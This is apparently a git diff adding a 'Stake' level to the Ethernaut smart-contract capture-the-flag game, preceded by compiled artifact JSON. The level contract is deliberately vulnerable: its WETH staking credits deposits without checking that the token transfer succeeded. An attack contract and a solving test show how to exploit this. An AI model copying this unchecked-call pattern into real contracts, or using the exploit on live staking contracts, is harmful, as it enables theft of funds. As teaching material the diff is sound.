:30::i;:::-;1831:101::o:0;263:136:110:-;385:6;;367:26;;337:7;;-1:-1:-1;;;;;385:6:110;;367:26;;;:::i;:::-;-1:-1:-1;;;;;589:55:160;;;571:74;;559:2;544:18;367:26:110;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;352:42:110;263:136;-1:-1:-1;;263:136:110:o;403:296::-;503:4;538:9;-1:-1:-1;;;;;561:17:110;;;:22;;;;:68;;;612:9;-1:-1:-1;;;;;612:17:110;;587:8;-1:-1:-1;;;;;587:20:110;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:42;561:68;:104;;;;-1:-1:-1;633:27:110;;;;;-1:-1:-1;;;;;589:55:160;;;633:27:110;;;571:74:160;633:18:110;;;;;544::160;;633:27:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;561:104;:133;;;;-1:-1:-1;669:25:110;;;;;-1:-1:-1;;;;;589:55:160;;;669:25:110;;;571:74:160;669:16:110;;;;;544:18:160;;669:25:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;554:140;403:296;-1:-1:-1;;;;403:296:110:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1922:2:160;2161:73:23::1;::::0;::::1;1904:21:160::0;1961:2;1941:18;;;1934:30;2000:34;1980:18;;;1973:62;2071:8;2051:18;;;2044:36;2097:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2329:2:160;1414:68:23;;;2311:21:160;;;2348:18;;;2341:30;2407:34;2387:18;;;2380:62;2459:18;;1414:68:23;2127:356:160;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:160:-;-1:-1:-1;;;;;93:5:160;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:160:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:160;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:184::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;-1:-1:-1;1411:16:160;;1249:184;-1:-1:-1;1249:184:160:o;1438:277::-;1505:6;1558:2;1546:9;1537:7;1533:23;1529:32;1526:52;;;1574:1;1571;1564:12;1526:52;1606:9;1600:16;1659:5;1652:13;1645:21;1638:5;1635:32;1625:60;;1681:1;1678;1671:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.23+commit.f704f362\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/StakeFactory.sol\":\"StakeFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Stake.sol\":{\"keccak256\":\"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054\",\"dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F\"]},\"src/levels/StakeFactory.sol\":{\"keccak256\":\"0x549cb9a494220512cc4d929c23bff4dc0ade9fb5f186ac9b116e9fec0d79cd2a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://97a93cad5be0fc87a93bf3f3fa4c8283d907d1040b5b83e0b3249c0885514148\",\"dweb:/ipfs/QmUhTtt6pCjcu9EoQuWgLR8G2poRJT4oYsmyZyof83yQcN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.23+commit.f704f362"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/StakeFactory.sol":"StakeFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Stake.sol":{"keccak256":"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae","urls":["bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054","dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F"],"license":"MIT"},"src/levels/StakeFactory.sol":{"keccak256":"0x549cb9a494220512cc4d929c23bff4dc0ade9fb5f186ac9b116e9fec0d79cd2a","urls":["bzz-raw://97a93cad5be0fc87a93bf3f3fa4c8283d907d1040b5b83e0b3249c0885514148","dweb:/ipfs/QmUhTtt6pCjcu9EoQuWgLR8G2poRJT4oYsmyZyof83yQcN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"id":110}
\ No newline at end of file
diff --git a/contracts/src/attacks/StakeAttack.sol b/contracts/src/attacks/StakeAttack.sol
new file mode 100644
index 000000000..593b7ed49
--- /dev/null
+++ b/contracts/src/attacks/StakeAttack.sol
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import '../levels/Stake.sol';
+
+import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
+contract StakeAttack {
+
+ function attack(Stake _target) public payable {
+ _target.StakeETH{value: msg.value}();
+ }
+}
\ No newline at end of file
diff --git a/contracts/src/levels/Stake.sol b/contracts/src/levels/Stake.sol
new file mode 100644
index 000000000..54d1b6798
--- /dev/null
+++ b/contracts/src/levels/Stake.sol
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+contract Stake {
+
+ uint256 public totalStaked;
+ mapping(address => uint256) public UserStake;
+ mapping(address => bool) public Stakers;
+ address public WETH;
+
+ constructor(address _weth) payable{
+ totalStaked += msg.value;
+ WETH = _weth;
+ }
+
+ function StakeETH() public payable {
+ require(msg.value > 0.001 ether, "Don't be cheap");
+ totalStaked += msg.value;
+ UserStake[msg.sender] += msg.value;
+ Stakers[msg.sender] = true;
+ }
+ function StakeWETH(uint256 amount) public returns (bool){
+ require(amount > 0.001 ether, "Don't be cheap");
+ (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
+ require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
+ totalStaked += amount;
+ UserStake[msg.sender] += amount;
+ (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
+ Stakers[msg.sender] = true;
+ return transfered;
+ }
+
+ function Unstake(uint256 amount) public returns (bool){
+ require(UserStake[msg.sender] >= amount,"Don't be greedy");
+ UserStake[msg.sender] -= amount;
+ totalStaked -= amount;
+ (bool success, ) = payable(msg.sender).call{value : amount}("");
+ return success;
+ }
+ function bytesToUint(bytes memory data) internal pure returns (uint256) {
+ require(data.length >= 32, "Data length must be at least 32 bytes");
+ uint256 result;
+ assembly {
+ result := mload(add(data, 0x20))
+ }
+ return result;
+ }
+}
\ No newline at end of file
diff --git a/contracts/src/levels/StakeFactory.sol b/contracts/src/levels/StakeFactory.sol
new file mode 100644
index 000000000..8799e2292
--- /dev/null
+++ b/contracts/src/levels/StakeFactory.sol
@@ -0,0 +1,21 @@
+
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./base/Level.sol";
+import "./Stake.sol";
+
+import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
+
+contract StakeFactory is Level {
+ address _dweth = address(new ERC20("DummyWETH","DWETH"));
+ function createInstance(address _player) override public payable returns (address) {
+ return address(new Stake(address(_dweth)));
+ }
+
+ function validateInstance(address payable _instance, address _player) override public view returns (bool) {
+ Stake instance = Stake(_instance);
+ return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 && instance.Stakers(_player);
+ }
+}
\ No newline at end of file
diff --git a/contracts/test/levels/Stake.t.sol b/contracts/test/levels/Stake.t.sol
new file mode 100644
index 000000000..1355adeff
--- /dev/null
+++ b/contracts/test/levels/Stake.t.sol
@@ -0,0 +1,71 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import {Utils} from "test/utils/Utils.sol";
+
+import {Stake} from "src/levels/Stake.sol";
+import {StakeFactory} from "src/levels/StakeFactory.sol";
+import {StakeAttack} from "src/attacks/StakeAttack.sol";
+import {Level} from "src/levels/base/Level.sol";
+import {Ethernaut} from "src/Ethernaut.sol";
+import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
+
+import {console} from "forge-std/console.sol";
+contract TestStake is Test, Utils {
+ Ethernaut ethernaut;
+ Stake instance;
+
+ address payable owner;
+ address payable player;
+
+ /*//////////////////////////////////////////////////////////////
+ HELPERS
+ //////////////////////////////////////////////////////////////*/
+
+ function setUp() public {
+ address payable[] memory users = createUsers(2);
+
+ owner = users[0];
+ vm.label(owner, "Owner");
+
+ player = users[1];
+ vm.label(player, "Player");
+
+ vm.startPrank(owner);
+ ethernaut = getEthernautWithStatsProxy(owner);
+ StakeFactory factory = new StakeFactory();
+ ethernaut.registerLevel(Level(address(factory)));
+ vm.stopPrank();
+
+ vm.startPrank(player);
+ instance = Stake(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
+ vm.stopPrank();
+ }
+
+ /*//////////////////////////////////////////////////////////////
+ TESTS
+ //////////////////////////////////////////////////////////////*/
+
+ /// @notice Check the intial state of the level and enviroment.
+ function testInit() public {
+ vm.startPrank(player);
+ assertFalse(submitLevelInstance(ethernaut, address(instance)));
+ }
+
+ /// @notice Test the solution for the level.
+ function testSolve() public {
+ vm.deal(player, 1 ether);
+ vm.startPrank(player);
+
+ StakeAttack attacker = new StakeAttack();
+ attacker.attack{value: 0.001 ether + 2}(instance);
+
+ ERC20 dweth = ERC20(instance.WETH());
+ dweth.approve(address(instance), type(uint256).max);
+ instance.StakeWETH(0.001 ether + 1);
+ instance.Unstake(0.001 ether + 1);
+
+ assertTrue(submitLevelInstance(ethernaut, address(instance)));
+ }
+}